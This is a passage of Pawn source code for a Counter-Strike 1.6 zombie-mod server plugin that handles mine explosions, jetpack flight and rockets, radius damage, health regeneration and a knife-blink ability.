	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 4 );
	write_byte ( 60 );
	write_byte ( 0 );
	write_byte ( 121 );
	write_byte ( 121 );
	write_byte ( 121 );
	write_byte ( 200 );
	write_byte ( 0 );
	message_end (  );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 21 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] + 700.0 );
	write_short ( ExploSpr );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 4 );
	write_byte ( 110 );
	write_byte ( 0 );
	write_byte ( 121 );
	write_byte ( 121 );
	write_byte ( 121 );
	write_byte ( 200 );
	write_byte ( 0 );
	message_end (  );

	message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
	write_byte ( 21 );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] );
	engfunc ( EngFunc_WriteCoord, Origin [0] );
	engfunc ( EngFunc_WriteCoord, Origin [1] );
	engfunc ( EngFunc_WriteCoord, Origin [2] + 900.0 );
	write_short ( ExploSpr );
	write_byte ( 0 );
	write_byte ( 0 );
	write_byte ( 4 );
	write_byte ( 160 );
	write_byte ( 0 );
	write_byte ( 121 );
	write_byte ( 121 );
	write_byte ( 121 );
	write_byte ( 200 );
	write_byte ( 0 );
	message_end (  );

	static iZombie;

	for ( iZombie = 1; iZombie < MaxPlayers + 1; iZombie ++ )
	{
		if ( is_user_connected ( iZombie ) )
		{
			if ( is_user_alive ( iZombie ) )
			{
				entity_get_vector ( iZombie, EV_VEC_origin, ZombieOrigin );

				if ( get_distance_f ( Origin, ZombieOrigin ) < 340.0 )
				{
					entity_get_vector ( iZombie, EV_VEC_velocity, Velocity );

					Velocity [2] += 240.0;

					Velocity [1] += 200.0;

					Velocity [0] += 160.0;

					entity_set_vector ( iZombie, EV_VEC_velocity, Velocity );
				}
			}
		}
	}

	for ( new i = 1; i < MaxPlayers + 1; i ++ )
	{
		if ( !is_user_connected ( i ) || !is_user_alive ( i ) ) continue;

		if ( IsZombie [i] )
		{
			static Float: fDistance, Float: fDamage;

			fDistance = entity_range ( i, Entity );

			if ( fDistance < 340 )
			{
				fDamage = 2850.0 - fDistance;

				static Float: fVelocity [3];

				pev ( i, pev_velocity, fVelocity );

				xs_vec_mul_scalar ( fVelocity, 1.75, fVelocity );

				set_pev ( i, pev_velocity, fVelocity );

				ScreenFadeEffect ( i, 1.0, 250, 0, 0, fDistance < 220 ? 220 : 205 );

				ScreenShakeEffect ( i, 1.0 );

				if ( float ( get_user_health ( i ) ) - fDamage > 0 )

					ExecuteHamB ( Ham_TakeDamage, i, Entity, entity_get_owner ( Entity ), fDamage, DMG_BLAST );
				else
					ExecuteHamB ( Ham_Killed, i, entity_get_owner ( Entity ), 2 );

				if ( !IsNemesis [i] && !IsAssassin [i] ) fDamage *= 0.75;

				client_print_color ( entity_get_owner ( Entity ), print_team_default, "%s Damage to^4 %s^1 ::^4 %0.0f^1 damage", CHAT_PREFIX, PlayerName [i], fDamage );
			}
		}
	}

	for ( new i = 1; i < MaxPlayers + 1; i ++ )
	{
		if ( !is_user_connected ( i ) || !is_user_alive ( i ) ) continue;

		if ( !IsZombie [i] )
		{
			ScreenShakeEffect ( i, 1.0 )

			if ( entity_range ( i, Entity ) < 340 )
			{
				static Float: fVelocity [3];

				pev ( i, pev_velocity, fVelocity );

				xs_vec_mul_scalar ( fVelocity, 1.5, fVelocity );

				set_pev ( i, pev_velocity, fVelocity );
			}
		}
	}

	remove_entity ( Entity );
}

public fwThinkMine ( Entity )
{
	static Float: GameTime, iStatus;

	GameTime = get_gametime (  );

	iStatus = entity_get_status ( Entity );

	switch ( iStatus )
	{
		case 0:
		{
			entity_set_int ( Entity, EV_INT_iuser1, 1 );

			entity_set_float ( Entity, EV_FL_takedamage, DAMAGE_YES );

			entity_set_int ( Entity, EV_INT_solid, SOLID_BBOX );

			entity_set_float ( Entity, EV_FL_health, 800.0 + 1000.0 );

			EmitSound ( Entity, CHAN_AUTO, "ZombieOutstanding/mine_activate.wav" );
		}
		case 1:
		{
			static Float: Health;

			Health = entity_get_float ( Entity, EV_FL_health );

			if ( is_user_alive ( entity_get_owner ( Entity ) ) )
			{
				if ( entity_get_owner ( Entity ) )
				{
					if ( pev ( Entity, pev_iuser3 ) == 1 )
					{
						set_hudmessage ( 0, 120, 240, 0.08, 0.3, 0, 0.0, 0.12, 2.0, 1.0, -1 ),

						ShowSyncHudMsg ( entity_get_owner ( Entity ), HudMsgSync [0], "First mine's health: %0.0f", Health - 1000.0 );
					}
					else if ( pev ( Entity, pev_iuser3 ) == 2 )
					{
						set_hudmessage ( 0, 120, 240, 0.08, 0.33, 0, 0.0, 0.12, 2.0, 1.0, -1 ),

						ShowSyncHudMsg ( entity_get_owner ( Entity ), HudMsgSync [1], "Second mine's health: %0.0f", Health - 1000.0 );
					}
				}

				if ( Health <= 1000.0 )
				{
					fwExplodeMine ( Entity );

					return FMRES_IGNORED;
				}
			}
		}
	}

	if ( is_valid_ent ( Entity ) )

		entity_set_float ( Entity, EV_FL_nextthink, GameTime + 0.1 );

	return FMRES_IGNORED;
}

public fwStartFrame (  )
{
	iTime = get_gametime (  );

	static id;

	for ( id = 1; id <= MaxPlayers; id ++ )

	JPForward ( id );
}

public JPForward ( id )
{
	if ( !is_user_alive ( id ) && ( IsZombie [id] || IsNemesis [id] || IsSurvivor [id] ) )

	return FMRES_IGNORED;

	if ( !HasJet [id] ) return FMRES_IGNORED;

	if ( JPCal [id] < iTime ){

		JPEnergy ( id );

		JPCal [id] = iTime + 1.0;
	}

	CheckRocket ( id );

	new Clip, Ammo;

	new WeaponID = get_user_weapon ( id, Clip, Ammo );

	if ( WeaponID == CSW_KNIFE || WeaponID != CSW_KNIFE )
	{
		if ( ( pev ( id, pev_button ) & IN_ATTACK2 ) )
		{
			Attack_02 ( id );
		}
	}
	if( ( !( pev ( id, pev_flags ) & FL_ONGROUND ) ) && ( pev ( id, pev_button ) & IN_JUMP && pev ( id, pev_button ) & IN_DUCK ) )
	{
		if ( ( FlyEnergy [id] > 100 * 0.3 ) && ( FlyEnergy [id] <= 100 ) )
		{
			if ( JPSound [id] < iTime )
			{
				EmitSound ( id, CHAN_AUTO, "ZombieOutstanding/jetpack_fly.wav" );

				JPSound [id] = iTime + 1.0;
			}
		}
		else if ( ( FlyEnergy [id] > 0 ) && ( FlyEnergy [id] < 100 * 0.3 ) )
		{
			if ( JPSound [id] < iTime )
			{
				EmitSound ( id, CHAN_AUTO, "ZombieOutstanding/jetpack_blow.wav" );

				JPSound [id] = iTime + 1.0;
			}
		}

		HumanFly ( id );

		Attack_01 ( id );
	}

	return FMRES_IGNORED
}
public JPEnergy ( id )
{
	if ( !( pev ( id, pev_flags ) & FL_ONGROUND ) && pev ( id, pev_button ) & IN_ATTACK )
	{
		new Clip, Ammo;

		new WeaponID = get_user_weapon ( id, Clip, Ammo )

		if ( WeaponID == CSW_KNIFE )
		{
			if ( FlyEnergy [id] > 100 * 0.09 )

				FlyEnergy [id] = FlyEnergy [id] - 10;
		}
	}
	else if ( ( !( pev ( id, pev_flags ) & FL_ONGROUND ) ) && ( pev ( id, pev_button ) & IN_JUMP && pev ( id, pev_button ) & IN_DUCK ) )
	{
		if ( FlyEnergy [id] > 100 * 0.09 )

			FlyEnergy [id] = FlyEnergy [id] - 10;
	}

	if ( pev ( id, pev_flags ) & FL_ONGROUND )

		FlyEnergy [id] = FlyEnergy [id] + 3;
}

public Attack_01 ( id )
{
	if ( Fly [id] )
	{
		static Float: JetpackData_01 [3];

		pev ( id, pev_velocity, JetpackData_01 );

		new Origin [3], Float: Aim [3];

		VelocityByAim ( id, 10, Aim );

		get_user_origin ( id, Origin );

		Origin [0] -= floatround ( Aim [0] );

		Origin [1] -= floatround ( Aim [1] );

		Origin [2] -= floatround ( Aim [2] );


		if( ( pev ( id, pev_button ) & IN_JUMP && pev ( id, pev_button ) & IN_DUCK ) && !( pev ( id, pev_flags ) & FL_ONGROUND ) )
		{

			message_begin ( MSG_ALL,SVC_TEMPENTITY );
			write_byte ( 17 );
			write_coord ( Origin [0] );
			write_coord ( Origin [1] );
			write_coord ( Origin [2] );
			write_short ( xFireBallSpr );
			write_byte ( 9 );
			write_byte ( 180 );
			message_end (  );

			static Float: Speed;

			Speed = floatsqroot ( JetpackData_01 [0] * JetpackData_01 [0] + JetpackData_01 [1] * JetpackData_01 [1] )

			if ( Speed !=0.0 )
		         {
			         set_pev ( id, EV_INT_movetype,6 );

				set_pev ( id, pev_frame, 0.9 );
		         }

		         if ( Speed < 350.0 )

			         Speed += 100.0;

			static Float: JetpackData_02 [3];

			pev ( id, pev_angles, JetpackData_02 );

			JetpackData_02 [2] = 0.0;

			angle_vector ( JetpackData_02, ANGLEVECTOR_FORWARD, JetpackData_02 );

			JetpackData_02 [0] *= Speed;

			JetpackData_02 [1] *= Speed;

			JetpackData_01 [0] = JetpackData_02 [0];

			JetpackData_01 [1] = JetpackData_02 [1];
		}

		if ( JetpackData_01 [2] < 350.0 && JetpackData_01 [2] > 0.0 )

		         JetpackData_01 [2] += 35.0;

		else if ( JetpackData_01 [2] < 0.0 )

			JetpackData_01 [2] += ( 35.0 * 1.15 );

		set_pev ( id, pev_velocity, JetpackData_01 );
	}
}

public Attack_02 ( id )
{
	if ( Rocket [id] )
	{
		new RocketEntity = create_entity ( "info_target" );

		if ( RocketEntity == 0 ) return PLUGIN_CONTINUE;

		entity_set_string ( RocketEntity, EV_SZ_classname, "zRisesJetpackRocket" );

		entity_set_model ( RocketEntity, GetModelRocket );

		entity_set_size ( RocketEntity, Float:{0.0, 0.0, 0.0}, Float: {0.0, 0.0, 0.0} );

		entity_set_int ( RocketEntity, EV_INT_movetype, MOVETYPE_FLY );

		entity_set_int ( RocketEntity, EV_INT_solid, SOLID_BBOX );

		new Float: vSrc [3];

		entity_get_vector ( id, EV_VEC_origin, vSrc );

		new Float: Aim [3], Float: Origin [3];

		VelocityByAim ( id, 64, Aim );

		entity_get_vector ( id, EV_VEC_origin, Origin );

		vSrc [0] += Aim [0];
		vSrc [1] += Aim [1];

		entity_set_origin ( RocketEntity, vSrc );

		new Float: Velocity [3], Float: Angles [3], iOrigin [3]

		VelocityByAim ( id, 1700, Velocity );

		entity_set_vector ( RocketEntity, EV_VEC_velocity, Velocity );

		vector_to_angle ( Velocity, Angles );

		entity_set_vector ( RocketEntity, EV_VEC_angles, Angles );

		entity_set_edict ( RocketEntity,EV_ENT_owner, id );

		entity_set_float ( RocketEntity, EV_FL_takedamage, 1.0 );

		set_pev ( RocketEntity, pev_effects, EF_LIGHT );

		message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );

		write_byte ( 22 );

		write_short ( RocketEntity );

		write_short ( JPSmokeSpr );

		write_byte ( 25 );

		write_byte ( 8 );

		write_byte ( 255 );

		write_byte ( 255 );

		write_byte ( 255 );

		write_byte ( 200 );

		message_end (  );


		message_begin ( MSG_BROADCAST, SVC_TEMPENTITY );
		write_byte ( TE_BEAMTORUS );
		write_coord ( iOrigin [0] );
		write_coord ( iOrigin [1] );
		write_coord ( iOrigin [2] );
		write_coord ( iOrigin [0] );
		write_coord ( iOrigin [1] );
		write_coord ( iOrigin [2] + 10 );
		write_short ( xFireBallSpr );
		write_byte ( 0 );
		write_byte ( 0  );
		write_byte ( 8 );
		write_byte ( 50 );
		write_byte ( 0 );
		write_byte ( 0 );
		write_byte ( 255 );
		write_byte ( 0 );
		write_byte ( 255 );
		write_byte ( 0 );
		message_end (  );

		EmitSound ( RocketEntity, CHAN_AUTO, "ZombieOutstanding/rocket_fire.wav" );

		Shot [id] = true;

		LastRocket [id] = iTime + 12.0;
	}
	return PLUGIN_CONTINUE
}

public CheckModels ( id )
{
	if ( IsZombie [id] || IsNemesis [id] || IsSurvivor [id] ) return FMRES_IGNORED

	if ( HasJet [id] )
	{
		new Clip, Ammo;

		new WeaponID = get_user_weapon ( id, Clip, Ammo );

		if ( WeaponID == CSW_KNIFE )

			SwitchModel ( id );

		return PLUGIN_CONTINUE
	}
	return PLUGIN_CONTINUE
}

public SwitchModel ( id )
{
	entity_set_string ( id,EV_SZ_viewmodel, "models/v_egon.mdl" );

	entity_set_string ( id,EV_SZ_weaponmodel, "models/p_egon.mdl" );
}

public RemoveJetpacks (  )
{
	new NextItem  = find_ent_by_class ( -1, "zRisesJetpack" );

        while ( NextItem )
        {
		remove_entity ( NextItem );

                NextItem = find_ent_by_class ( -1, "zRisesJetpack" );
	}

	return PLUGIN_CONTINUE;
}

public HumanFly ( id )
{
	if ( FlyEnergy [id] <= 100 * 0.1 )
	{
		JPOff ( id );
	}
	if ( FlyEnergy [id] > 100 * 0.1 )
	{
		JPOn ( id );
	}
}

public JPOn ( id )
{
	Fly [id] = true;
}
public JPOff ( id )
{
	Fly [id] = false;
}

public CheckRocket ( id )
{
	if ( LastRocket [id] > iTime )
	{
		RK_Forbidden ( id );

		RSound [id] = true;
	}
	else
	{
		if ( Shot [id] )
		{
			RSound [id] = false;

			Shot [id] = false;
		}

		RK_Sound ( id );

		RK_Allow ( id);
	}
}

public RK_Allow ( id ) Rocket [id] = true;


public RK_Forbidden ( id ) Rocket [id] = false;


public RK_Sound ( id )
{
	if ( !RSound [id] )
	{
		EmitSound ( id, CHAN_ITEM, "items/9mmclip2.wav" );

		RSound [id] = true;
	}

}

public DropJetpack ( id )
{
	if ( HasJet [id] )
	{
		new Float: Aim [3], Float: Origin [3];

		VelocityByAim ( id, 64, Aim );

		entity_get_vector ( id, EV_VEC_origin, Origin );

		Origin [0] += Aim [0];

		Origin [1] += Aim [1];

		new Jetpack = create_entity ( "info_target" );

		entity_set_string ( Jetpack, EV_SZ_classname, "zRisesJetpack" );

		entity_set_model ( Jetpack, "models/p_egon.mdl" );

		entity_set_size ( Jetpack, Float: {-16.0,-16.0,-16.0}, Float: {16.0,16.0,16.0} );

		entity_set_int ( Jetpack, EV_INT_solid, 1 );

		entity_set_int ( Jetpack, EV_INT_movetype, 6 );

		entity_set_vector ( Jetpack, EV_VEC_origin, Origin )	;

		HasJet [id] = 0;

		Rocket [id] = false;
	}
}

public pfn_touch ( ptr, ptd )
{
	if( is_valid_ent ( ptr ) )
	{
		new ClassName [32];

		entity_get_string ( ptr, EV_SZ_classname, ClassName, charsmax ( ClassName ) );

		if ( equal ( ClassName, "zRisesJetpack" ) )
		{
			if ( is_valid_ent ( ptd ) )
			{
				new id = ptd;

				if ( id > 0 && id < MaxPlayers + 2 )
				{
					if ( !HasJet [id] && !IsZombie [id] && is_user_alive ( id ) )
					{
						HasJet [id] = 1 ;

						FlyEnergy [id] = 10;

						Rocket [id] = true ;

						EmitSound ( id, CHAN_BODY, "items/gunpickup2.wav" );

						engclient_cmd ( id, "weapon_knife" )

						SwitchModel ( id )

						remove_entity ( ptr )
					}
				}
			}
		}
		else if ( equal ( ClassName, "zRisesJetpackRocket" ) )
		{
			new Float: Origin [3], iOrigin [3];

			entity_get_vector ( ptr, EV_VEC_origin, Origin );

			FVecIVec ( Origin, iOrigin );

			JPRadiusDamage ( ptr );

			message_begin (MSG_BROADCAST, SVC_TEMPENTITY, iOrigin);
			write_byte (3);
			write_coord (iOrigin[0]);
			write_coord (iOrigin[1]);
			write_coord (iOrigin[2]);
			write_short (HExplode)
			write_byte (55);
			write_byte (15);
			write_byte (0);
			message_end ();

			message_begin (MSG_BROADCAST, SVC_TEMPENTITY, iOrigin);
			write_byte (3);
			write_coord (iOrigin[0]);
			write_coord (iOrigin[1]);
			write_coord (iOrigin[2]);
			write_short (HExplode);
			write_byte (65);
			write_byte (15);
			write_byte (0);
			message_end ();

			message_begin (MSG_BROADCAST,SVC_TEMPENTITY,iOrigin);
			write_byte (3)
			write_coord (iOrigin[0]);
			write_coord (iOrigin[1]);
			write_coord (iOrigin[2]);
			write_short (HExplode);
			write_byte (85);
			write_byte (15);
			write_byte (0);
			message_end ();

			message_begin (MSG_ALL,SVC_TEMPENTITY,iOrigin)
			write_byte (21)
			write_coord (iOrigin[0])
			write_coord (iOrigin[1])
			write_coord (iOrigin[2])
			write_coord (iOrigin[0])
			write_coord (iOrigin[1])
			write_coord (iOrigin[2]+650)
			write_short (WhiteSpr)
			write_byte (0)
			write_byte (1)
			write_byte (6)
			write_byte (100)
			write_byte (1)
			write_byte (255)
			write_byte (255)
			write_byte (255)
			write_byte (200)
			write_byte (0)
			message_end ()

			message_begin (MSG_ALL,SVC_TEMPENTITY,iOrigin)
			write_byte (21)
			write_coord (iOrigin[0])
			write_coord (iOrigin[1])
			write_coord (iOrigin[2])
			write_coord (iOrigin[0])
			write_coord (iOrigin[1])
			write_coord (iOrigin[2]+650)
			write_short (WhiteSpr)
			write_byte (0)
			write_byte (1)
			write_byte (6)
			write_byte (100)
			write_byte (1)
			write_byte (255)
			write_byte (255)
			write_byte (255)
			write_byte (200)
			write_byte (0)
			message_end ()

			message_begin (MSG_ALL,SVC_TEMPENTITY,iOrigin)
			write_byte (21)
			write_coord (iOrigin[0])
			write_coord (iOrigin[1])
			write_coord (iOrigin[2])
			write_coord (iOrigin[0])
			write_coord (iOrigin[1])
			write_coord (iOrigin[2]+650)
			write_short (WhiteSpr)
			write_byte (0)
			write_byte (1)
			write_byte (6)
			write_byte (100)
			write_byte (1)
			write_byte (255)
			write_byte (255)
			write_byte (255)
			write_byte (200)
			write_byte (0)
			message_end ()

			if ( is_valid_ent ( ptd ) )
			{
				new ClassName_02 [32];

				entity_get_string ( ptd, EV_SZ_classname, ClassName_02, charsmax ( ClassName_02 ) );

				if ( equal ( ClassName_02, "func_breakable" ) )

					force_use ( ptr, ptd );
			}

			remove_entity ( ptr );
		}
	}
	return PLUGIN_CONTINUE
}

public zUserInfectedPre ( id, infector )
{
	cmdDrop ( id );

	HasJet [id] = 0;

	FlyEnergy [id] = 0;

	Rocket [id] = false;

	IsTryder [id] = false;

	HasUnlimitedClip [id] = false;

	MultiJumps [id] = false;
}

public TaskRegenerationHealth ( TaskIndex )
{
	if ( !IsAlive [ID_REGENERATION] || !IsZombie [ID_REGENERATION] )
	{
		remove_task ( ID_REGENERATION + TASK_REGENERATION );

		return;
	}

	if ( pev ( ID_REGENERATION, pev_health ) <= 10.0 )
	{
		remove_task ( ID_REGENERATION + TASK_REGENERATION );

		return;
	}

	if ( pev ( ID_REGENERATION, pev_health ) < 6300 )
	{
		new RegenerationHealth = pev ( ID_REGENERATION, pev_health ) + 350;

		set_pev ( ID_REGENERATION, pev_health, float ( min ( RegenerationHealth, 6300 ) ) );

		set_hudmessage ( 0, 255, 0, -1.0, 0.0, 0, 6.0, 1.0 );

		ShowSyncHudMsg ( ID_REGENERATION, HudMsgSync [0], "== REGENERATOR ==^nRegeneration: +%d HP Gained !", 350 );

		DoScreenFade ( ID_REGENERATION, 0.10, 0.20, 0, 255, 0, 94 );

		static Origin [3];

		get_user_origin ( ID_REGENERATION, Origin );

		message_begin ( MSG_PVS, SVC_TEMPENTITY, Origin );

		write_byte ( TE_PARTICLEBURST );

		write_coord ( Origin [0] );

		write_coord ( Origin [1] );

		write_coord ( Origin [2] );

		write_short ( 50 );

		write_byte ( 70 );

		write_byte ( 3 );

		message_end (  )
	}
}

public TakeGlow ( id ) fm_set_rendering ( id, kRenderFxGlowShell, 0, 0, 0, kRenderNormal, 0 );

stock JPRadiusDamage ( Entity )
{
	new id = entity_get_edict ( Entity, EV_ENT_owner );

	new Packs;

	for ( new i = 1; i < MaxPlayers + 1; i ++ )
	{
		if ( is_user_alive ( i ) )
		{
			new Distance = floatround ( entity_range ( Entity, i ) );

			if ( Distance <= 600 )
			{
				new HP = get_user_health ( i );

				new Float: Damage = 950.0 - ( 950.0 / 600.0 ) * float ( Distance );

				new Origin [3]; get_user_origin ( i, Origin );

				new iPos = ++ iPosition [id];

				if ( iPos == sizeof ( iCoords ) )

					iPos = iPosition [id] = 0;


				if ( IsZombie [id] != IsZombie [i] )
				{
					if ( Damage >= 800 )

					         Packs = 2;
					else
						Packs = 1;

					if ( HP > Damage )
					{
						AmmoPacks [id] += Packs;

						JPTakeDamage ( i, floatround ( Damage ), Origin, DMG_BLAST );

						set_hudmessage ( 0, 40, 80, Float: iCoords [iPos] [0], Float: iCoords [iPos] [1], 0, 0.1, 2.5, 0.02, 0.02, -1 );

						ShowSyncHudMsg ( id, HudMsgSync [3], "%i", floatround ( Damage ) );

						client_print_color ( id, print_team_grey, "%s Damage to^4 %s^1 ::^4 %i^1 damage", CHAT_PREFIX, PlayerName [i], floatround ( Damage ) );
					}
					else
					{
						LogKill ( id, i, "Jetpack Rocket", 0 );

						AmmoPacks [id] += 4;
					}
				}
			}
		}
	}
}

stock LogKill ( Killer, Victim, Weapon [ ], Headshot )
{
	set_msg_block ( get_user_msgid ( "DeathMsg" ), BLOCK_SET );

	ExecuteHamB ( Ham_Killed, Victim, Killer, 2 );

	set_msg_block ( get_user_msgid ( "DeathMsg" ), BLOCK_NOT );


	message_begin ( MSG_BROADCAST, get_user_msgid ( "DeathMsg" ) );
	write_byte ( Killer );
	write_byte ( Victim );
	write_byte ( Headshot );
	write_string ( Weapon );
	message_end (  );

	if ( get_user_team ( Killer ) != get_user_team ( Victim ) )

	set_pev ( Killer, pev_frags, float ( pev ( Killer, pev_frags ) + 1 ) );

	if ( get_user_team ( Killer ) == get_user_team ( Victim ) )

	set_pev ( Killer, pev_frags, float ( pev ( Killer, pev_frags ) - 1 ) );

	new KillerAuthid [32], VictimAuthid [32], KillerTeam [10], VictimTeam [10];

	get_user_team ( Killer, KillerTeam, charsmax ( KillerTeam ) );

	get_user_authid ( Killer, KillerAuthid, charsmax ( KillerAuthid ) );

	get_user_team ( Victim, VictimTeam, charsmax ( VictimTeam ) );

	get_user_authid ( Victim, VictimAuthid, charsmax ( VictimAuthid ) );

	log_message ( "^"%s<%d><%s><%s>^" killed ^"%s<%d><%s><%s>^" with ^"%s^"", PlayerName [Killer], get_user_userid ( Killer ),

	KillerAuthid, KillerTeam, PlayerName [Victim], get_user_userid ( Victim ), VictimAuthid, VictimTeam, Weapon );

	return PLUGIN_CONTINUE;
}

stock JPTakeDamage ( Victim, Damage, Origin [3], Bit )
{
	message_begin ( MSG_ONE, get_user_msgid ( "Damage" ), {0,0,0}, Victim );

	write_byte ( 21 )

	write_byte ( 20 )

	write_long ( Bit )

	write_coord ( Origin [0] )

	write_coord ( Origin [1] )

	write_coord ( Origin [2] )

	message_end (  )

	fm_set_user_health ( Victim, get_user_health ( Victim ) - Damage );

	EmitSound ( Victim, CHAN_AUTO, "fvox/flatline.wav" );

	ScreenFadeEffect ( Victim, 1.0, 250, 0, 0, 230 );

	ScreenShakeEffect ( Victim, 1.0 );
}

public fwTraceLinePost ( Float:start[3], Float:end[3], conditions, id, trace )
{
	if ( !CheckValidPlayer ( id ) ) return FMRES_IGNORED;

	new iWeaponID = get_user_weapon ( id );

	if ( iWeaponID != CSW_KNIFE )
	{
		OPCancel ( id );

		return FMRES_IGNORED;
	}

	new Enemy = iEnemy [id];

	if ( !Enemy )
	{
		Enemy = get_tr2 ( trace, TR_pHit );

		if ( !CheckValidPlayer (Enemy) || IsZombie [Enemy] )
		{
			OPCancel ( id );

			return FMRES_IGNORED;
		}

		iEnemy [id] = Enemy;
	}

	return FMRES_IGNORED;
}

public OPNearEnemy ( id )
{
	new Enemy = iEnemy [id];

	new Float: Time = get_gametime (  );

	if ( !Enemy || iLastSlash [id] + iDelay > Time )
	{
		InBlink [id] = 0;

		return;
	}

	new Origin [3], OriginEnemy [3];

	get_user_origin ( id, Origin, 0 );

	get_user_origin ( Enemy, OriginEnemy, 0 );

	new Distance = get_distance ( Origin, OriginEnemy );

	if ( 50 <= Distance <= 300 )
	{
		InBlink [id] = 1;

		return;
	}
	else if ( 50 > Distance && InBlink [id] )
	{
		OPSlash ( id );
	}

	OPCancel ( id );
}

public OPBlink ( id )
{
	new Float: NewVelocity [3];

	new Enemy = iEnemy [id];

	new Float: OriginEnemy [3];

	pev ( Enemy, pev_origin, OriginEnemy );

	entity_set_aim ( id, OriginEnemy );

	get_speed_vector2 ( id, Enemy, iSpeed, NewVelocity );

	set_pev ( id, pev_velocity, NewVelocity );
}

public OPCancel ( id )
{
	InBlink [id] = 0;

	iEnemy [id] = 0;

	if ( !iCanceled [id] )
	{
		OPSetBlink ( id );

		iCanceled [id] = 1;
	}
}

public OPSlash ( id )
{
	set_pev ( id, pev_velocity, {0.0,0.0,0.0} );

	new WeaponID = get_user_weapon ( id, _, _ );

	if ( WeaponID == CSW_KNIFE )
	{
		new Weapon [32];

		get_weaponname ( WeaponID, Weapon, charsmax ( Weapon ) );

		new Entity = fm_find_ent_by_owner ( -1, Weapon, id );

		if ( Entity )
		{
			set_pdata_float ( Entity, 46, 0.0 );

			set_pdata_float ( Entity, 47, 0.0 );

			iSlash [id] = 1;

			iLastSlash [id] = get_gametime (  );

			iBlinks [id] -= 1;

			client_print_color ( 0, print_team_grey, "%s^3 %s^1 just used a Knife Blink! (Blinks remaining:^4 %d blinks^1)", CHAT_PREFIX, PlayerName [id], iBlinks [id] );
		}
	}
}

public OPSetBlink ( id )
{
	new Blink = InBlink [id];

	if ( Blink > 1 ) return;

	if ( Blink ) InBlink [id] += 1;
}

public CheckValidPlayer ( id )
{
	if ( 1 <= id <= MaxPlayers && is_user_alive ( id ) )

	return 1;

	return 0;
}

stock drop_weapons ( id, dropwhat )
{
	static Weapons [32], Num, i, WeaponID;

	Num = 0;

	get_user_weapons ( id, Weapons, Num );

	for ( i = 0; i < Num; i ++ )
	{
		WeaponID = Weapons [i];

		if ( ( dropwhat == 1 && ( ( 1 << WeaponID ) & PRIMARY_WEAPONS_BIT_SUM ) ) || ( dropwhat == 2 && ( ( 1 << WeaponID ) & SECONDARY_WEAPONS_BIT_SUM ) ) )
		{
			static DropName [32], WeaponEntity;

			get_weaponname ( WeaponID, DropName, charsmax ( DropName ) );

			WeaponEntity = fm_find_ent_by_owner ( -1, DropName, id );

			set_pev ( WeaponEntity, pev_iuser1, cs_get_user_bpammo ( id, WeaponID ) );

			engclient_cmd ( id, "drop", DropName );

			cs_set_user_bpammo ( id, WeaponID, 0 );
		}
	}
}

stock fm_set_kvd ( entity, const key[], const value[], const classname[] )
{
	set_kvd ( 0, KV_ClassName, classname );
	set_kvd ( 0, KV_KeyName, key );
	set_kvd ( 0, KV_Value, value );
	set_kvd ( 0, KV_fHandled, 0 );

	dllfunc ( DLLFunc_KeyValue, entity, 0 );
}

stock fm_set_rendering ( entity, fx = kRenderFxNone, r = 255, g = 255, b = 255, render = kRenderNormal, amount = 16 )
{
	static Float:color[3];

	color [0] = float (r);
	color [1] = float (g);
	color [2] = float (b);

	set_pev ( entity, pev_renderfx, fx );
	set_pev ( entity, pev_rendercolor, color );
	set_pev ( entity, pev_rendermode, render );
	set_pev ( entity, pev_renderamt, float ( amount ) );
}

stock fm_get_speed ( entity )
{
	static Float: velocity [3];

	pev ( entity, pev_velocity, velocity );

	return floatround ( vector_length ( velocity ) );
}

stock fm_get_aim_origin ( id, Float: origin [3] )
{
	static Float:origin1F[3], Float:origin2F[3]

	pev ( id, pev_origin, origin1F );

	pev ( id, pev_view_ofs, origin2F );

	xs_vec_add ( origin1F, origin2F, origin1F );

	pev ( id, pev_v_angle, origin2F );

	engfunc ( EngFunc_MakeVectors, origin2F );

	global_get ( glb_v_forward, origin2F );

	xs_vec_mul_scalar ( origin2F, 9999.0, origin2F );

	xs_vec_add ( origin1F, origin2F, origin2F );

	engfunc ( EngFunc_TraceLine, origin1F, origin2F, 0, id, 0 );

	get_tr2 ( 0, TR_vecEndPos, origin );
}

stock fm_find_ent_by_owner ( entity, const classname[], owner )
{
	while ( ( entity = engfunc(EngFunc_FindEntityByString, entity, "classname", classname ) ) && pev ( entity, pev_owner ) != owner ) {  }

	return entity;
}

stock fm_set_user_health ( id, health )
{
	( health > 0) ? set_pev ( id, pev_health, float ( health ) ) : dllfunc ( DLLFunc_ClientKill, id );
}

stock fm_give_item ( id, const item [] )
{
	static Entity;

	Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, item ) );

	if ( !pev_valid ( Entity ) ) return;

	static Float: origin [3];

	pev ( id, pev_origin, origin );

	set_pev ( Entity, pev_origin, origin );

	set_pev ( Entity, pev_spawnflags, pev ( Entity, pev_spawnflags ) | SF_NORESPAWN );

	dllfunc ( DLLFunc_Spawn, Entity );

	static Save; Save = pev ( Entity, pev_solid );

	dllfunc ( DLLFunc_Touch, Entity, id );

	if ( pev ( Entity, pev_solid ) != Save ) return;

	engfunc ( EngFunc_RemoveEntity, Entity );
}

stock fm_strip_user_weapons ( id )
{
	static ent;

	ent = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "player_weaponstrip" ) );

	if ( !pev_valid ( ent)) return;

	dllfunc ( DLLFunc_Spawn, ent );

	dllfunc ( DLLFunc_Use, ent, id );

	engfunc ( EngFunc_RemoveEntity, ent );
}


stock cs_weapon_name_to_id ( const weapon [ ] )
{
	static i;

	for ( i = 0; i < sizeof WEAPONENTNAMES; i ++ )
	{
		if ( equal ( weapon, WEAPONENTNAMES [i] ) )
			return i;
	}

	return 0;
}

stock fmCsGetCurrentWeaponEnt ( id )
{
	return get_pdata_cbase ( id, 373, 5);
}

stock fm_cs_get_weapon_ent_owner ( ent )
{
